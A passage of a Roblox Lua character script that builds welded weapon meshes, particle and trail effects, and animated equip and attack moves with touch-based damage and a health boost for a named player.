3132 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
3133 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3134 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
3135 | ||
3136 | local modelzorzz3=Instance.new("Model") | |
3137 | modelzorzz3.Parent=Character | |
3138 | modelzorzz3.Name="Eye" | |
3139 | ||
3140 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3141 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
3142 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
3143 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3144 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3145 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
3146 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3147 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3148 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
3149 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3150 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3151 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
3152 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3153 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3154 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
3155 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3156 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
3157 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3158 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3159 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3160 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
3161 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3162 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
3163 | ||
3164 | p = game.Players.ThatProGamerKilledU | |
3165 | char = p.Character | |
3166 | torso = char.Torso | |
3167 | neck = char.Torso.Neck | |
3168 | hum = char.Humanoid | |
3169 | hum.MaxHealth = 10000000 | |
3170 | wait() | |
3171 | hum.Health =hum.MaxHealth | |
3172 | ||
3173 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
3174 | particleemitter.VelocitySpread = 180 | |
3175 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3176 | particleemitter.Speed = NumberRange.new(2) | |
3177 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3178 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3179 | particleemitter.Rate = 100 | |
3180 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3181 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3182 | particleemitter.LightEmission = 0.8 | |
3183 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3184 | ||
3185 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
3186 | particleemitter.VelocitySpread = 180 | |
3187 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3188 | particleemitter.Speed = NumberRange.new(2) | |
3189 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3190 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3191 | particleemitter.Rate = 100 | |
3192 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3193 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3194 | particleemitter.LightEmission = 0.8 | |
3195 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3196 | ||
3197 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
3198 | particleemitter.VelocitySpread = 180 | |
3199 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3200 | particleemitter.Speed = NumberRange.new(2) | |
3201 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
3202 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3203 | particleemitter.Rate = 100 | |
3204 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3205 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3206 | particleemitter.LightEmission = 0.8 | |
3207 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3208 | ||
3209 | particleemitter.Enabled = true | |
3210 | MagicCircle(BrickColor.new("White"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
3211 | MagicCircle(BrickColor.new("White"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
3212 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
3213 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
3214 | for i=0,1,0.005 do | |
3215 | swait() | |
3216 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3217 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3218 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3219 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3220 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3221 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3222 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3223 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3224 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3225 | end | |
3226 | for i=0,1,0.04 do | |
3227 | swait() | |
3228 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3229 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3230 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3231 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3232 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3233 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3234 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3235 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3236 | end | |
3237 | attack = false | |
3238 | end | |
3239 | end | |
3240 | end) | |
3241 | ||
3242 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
3243 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
3244 | prt.Anchored=true | |
3245 | prt.CFrame=cframe | |
3246 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
3247 | game:GetService("Debris"):AddItem(prt,2) | |
3248 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
3249 | for i=0,1,delay do | |
3250 | wait() | |
3251 | Part.CFrame=Part.CFrame | |
3252 | Part.Transparency=i | |
3253 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
3254 | end | |
3255 | Part.Parent=nil | |
3256 | end),prt,msh) | |
3257 | end | |
3258 | ||
3259 | TrailDeb = false | |
3260 | ||
3261 | function equipanim() | |
3262 | attack=true | |
3263 | Humanoid.WalkSpeed = 0 | |
3264 | if TrailDeb == false then | |
3265 | TrailDeb = true | |
3266 | end | |
3267 | ||
3268 | ||
3269 | coroutine.wrap(function() | |
3270 | local Old = handle.CFrame.p | |
3271 | while wait()do | |
3272 | if not TrailDeb then break end | |
3273 | local New = handle.CFrame.p | |
3274 | local Mag =(Old -New).magnitude | |
3275 | local Dis =(Old +New)/2 | |
3276 | local Trail = Instance.new("Part",Character) | |
3277 | Trail.Material = "Neon" | |
3278 | Trail.Anchored = true | |
3279 | Trail.CanCollide = false | |
3280 | Trail.BrickColor = TorsoColor | |
3281 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3282 | Trail.TopSurface = 0 | |
3283 | Trail.BottomSurface = 0 | |
3284 | Trail.formFactor = "Custom" | |
3285 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3286 | local ms = Instance.new("BlockMesh",Trail) | |
3287 | ms.Scale = Vector3.new(1,1,1) | |
3288 | local TM = Instance.new("CylinderMesh",Trail) | |
3289 | TM.Scale = Vector3.new(1,1,1) | |
3290 | Old = New | |
3291 | coroutine.wrap(function() | |
3292 | for i = 1,0,-0.1 do | |
3293 | wait() | |
3294 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3295 | end | |
3296 | Trail:remove() | |
3297 | end)() | |
3298 | coroutine.wrap(function() | |
3299 | for i = 1,10 do | |
3300 | wait() | |
3301 | Trail.Transparency = Trail.Transparency +0.1 | |
3302 | end end)()end end)() | |
3303 | coroutine.wrap(function() | |
3304 | local Old = Handle.CFrame.p | |
3305 | while wait()do | |
3306 | if not TrailDeb then break end | |
3307 | local New = Handle.CFrame.p | |
3308 | local Mag =(Old -New).magnitude | |
3309 | local Dis =(Old +New)/2 | |
3310 | local Trail = Instance.new("Part",Character) | |
3311 | Trail.Material = "Neon" | |
3312 | Trail.Anchored = true | |
3313 | Trail.CanCollide = false | |
3314 | Trail.BrickColor = TorsoColor | |
3315 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3316 | Trail.TopSurface = 0 | |
3317 | Trail.BottomSurface = 0 | |
3318 | Trail.formFactor = "Custom" | |
3319 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3320 | local ms = Instance.new("BlockMesh",Trail) | |
3321 | ms.Scale = Vector3.new(1,1,1) | |
3322 | local TM = Instance.new("CylinderMesh",Trail) | |
3323 | TM.Scale = Vector3.new(1,1,1) | |
3324 | Old = New | |
3325 | coroutine.wrap(function() | |
3326 | for i = 1,0,-0.1 do | |
3327 | wait() | |
3328 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3329 | end | |
3330 | Trail:remove() | |
3331 | end)() | |
3332 | coroutine.wrap(function() | |
3333 | for i = 1,10 do | |
3334 | wait() | |
3335 | Trail.Transparency = Trail.Transparency +0.1 | |
3336 | end end)()end end)() | |
3337 | coroutine.wrap(function() | |
3338 | local Old = Handle2.CFrame.p | |
3339 | while wait()do | |
3340 | if not TrailDeb then break end | |
3341 | local New = Handle2.CFrame.p | |
3342 | local Mag =(Old -New).magnitude | |
3343 | local Dis =(Old +New)/2 | |
3344 | local Trail = Instance.new("Part",Character) | |
3345 | Trail.Material = "Neon" | |
3346 | Trail.Anchored = true | |
3347 | Trail.CanCollide = false | |
3348 | Trail.BrickColor = TorsoColor | |
3349 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3350 | Trail.TopSurface = 0 | |
3351 | Trail.BottomSurface = 0 | |
3352 | Trail.formFactor = "Custom" | |
3353 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3354 | local ms = Instance.new("BlockMesh",Trail) | |
3355 | ms.Scale = Vector3.new(1,1,1) | |
3356 | local TM = Instance.new("CylinderMesh",Trail) | |
3357 | TM.Scale = Vector3.new(1,1,1) | |
3358 | Old = New | |
3359 | coroutine.wrap(function() | |
3360 | for i = 1,0,-0.1 do | |
3361 | wait() | |
3362 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3363 | end | |
3364 | Trail:remove() | |
3365 | end)() | |
3366 | coroutine.wrap(function() | |
3367 | for i = 1,10 do | |
3368 | wait() | |
3369 | Trail.Transparency = Trail.Transparency +0.1 | |
3370 | end end)()end end)() | |
3371 | so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) | |
3372 | for i=0,1,0.005 do | |
3373 | swait() | |
3374 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) | |
3375 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3376 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3377 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3378 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3379 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3380 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3381 | end | |
3382 | for i=0,1,0.005 do | |
3383 | swait() | |
3384 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) | |
3385 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3386 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3387 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3388 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3389 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3390 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3391 | end | |
3392 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3393 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3394 | for i=0,1,0.005 do | |
3395 | swait() | |
3396 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3397 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3398 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3399 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3400 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3401 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3402 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3403 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3404 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3405 | end | |
3406 | for i=0,1,0.04 do | |
3407 | swait() | |
3408 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3409 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3410 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3411 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3412 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3413 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3414 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3415 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3416 | end | |
3417 | --dmgstop() | |
3418 | attack=false | |
3419 | Humanoid.WalkSpeed = 12 | |
3420 | if TrailDeb == true then | |
3421 | TrailDeb = false | |
3422 | end | |
3423 | end | |
3424 | ||
3425 | function attackone() | |
3426 | attack=true | |
3427 | if TrailDeb == false then | |
3428 | TrailDeb = true | |
3429 | end | |
3430 | ||
3431 | ||
3432 | coroutine.wrap(function() | |
3433 | local Old = Handle.CFrame.p | |
3434 | while wait()do | |
3435 | if not TrailDeb then break end | |
3436 | local New = Handle.CFrame.p | |
3437 | local Mag =(Old -New).magnitude | |
3438 | local Dis =(Old +New)/2 | |
3439 | local Trail = Instance.new("Part",Character) | |
3440 | Trail.Material = "Neon" | |
3441 | Trail.Anchored = true | |
3442 | Trail.CanCollide = false | |
3443 | Trail.BrickColor = TorsoColor | |
3444 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3445 | Trail.TopSurface = 0 | |
3446 | Trail.BottomSurface = 0 | |
3447 | Trail.formFactor = "Custom" | |
3448 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3449 | local ms = Instance.new("BlockMesh",Trail) | |
3450 | ms.Scale = Vector3.new(1,1,1) | |
3451 | local TM = Instance.new("CylinderMesh",Trail) | |
3452 | TM.Scale = Vector3.new(1,1,1) | |
3453 | Old = New | |
3454 | coroutine.wrap(function() | |
3455 | for i = 1,0,-0.1 do | |
3456 | wait() | |
3457 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3458 | end | |
3459 | Trail:remove() | |
3460 | end)() | |
3461 | coroutine.wrap(function() | |
3462 | for i = 1,10 do | |
3463 | wait() | |
3464 | Trail.Transparency = Trail.Transparency +0.1 | |
3465 | end end)()end end)() | |
3466 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3467 | for i=0,1,0.08 do | |
3468 | swait() | |
3469 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) | |
3470 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) | |
3471 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3472 | Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
3473 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3474 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) | |
3475 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3476 | end | |
3477 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) | |
3478 | so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) | |
3479 | for i=0,1,0.1 do | |
3480 | swait() | |
3481 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) | |
3482 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3483 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3484 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) | |
3485 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3486 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) | |
3487 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3488 | end | |
3489 | --dmgstop() | |
3490 | attack=false | |
3491 | con1:disconnect() | |
3492 | if TrailDeb == true then | |
3493 | TrailDeb = false | |
3494 | end | |
3495 | end | |
3496 | ||
3497 | function attacktwo() | |
3498 | attack=true | |
3499 | if TrailDeb == false then | |
3500 | TrailDeb = true | |
3501 | end | |
3502 | ||
3503 | ||
3504 | coroutine.wrap(function() | |
3505 | local Old = Handle2.CFrame.p | |
3506 | while wait()do | |
3507 | if not TrailDeb then break end | |
3508 | local New = Handle2.CFrame.p | |
3509 | local Mag =(Old -New).magnitude | |
3510 | local Dis =(Old +New)/2 | |
3511 | local Trail = Instance.new("Part",Character) | |
3512 | Trail.Material = "Neon" | |
3513 | Trail.Anchored = true | |
3514 | Trail.CanCollide = false | |
3515 | Trail.BrickColor = TorsoColor | |
3516 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3517 | Trail.TopSurface = 0 | |
3518 | Trail.BottomSurface = 0 | |
3519 | Trail.formFactor = "Custom" | |
3520 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3521 | local ms = Instance.new("BlockMesh",Trail) | |
3522 | ms.Scale = Vector3.new(1,1,1) | |
3523 | local TM = Instance.new("CylinderMesh",Trail) | |
3524 | TM.Scale = Vector3.new(1,1,1) | |
3525 | Old = New | |
3526 | coroutine.wrap(function() | |
3527 | for i = 1,0,-0.1 do | |
3528 | wait() | |
3529 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3530 | end | |
3531 | Trail:remove() | |
3532 | end)() | |
3533 | coroutine.wrap(function() | |
3534 | for i = 1,10 do | |
3535 | wait() | |
3536 | Trail.Transparency = Trail.Transparency +0.1 | |
3537 | end end)()end end)() | |
3538 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3539 | for i=0,1,0.08 do | |
3540 | swait() | |
3541 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3542 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3543 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3544 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) | |
3545 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3546 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
3547 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3548 | end | |
3549 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
3550 | so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) | |
3551 | for i=0,1,0.1 do | |
3552 | swait() | |
3553 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3554 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3555 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3556 | Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) | |
3557 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3558 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3559 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3560 | end | |
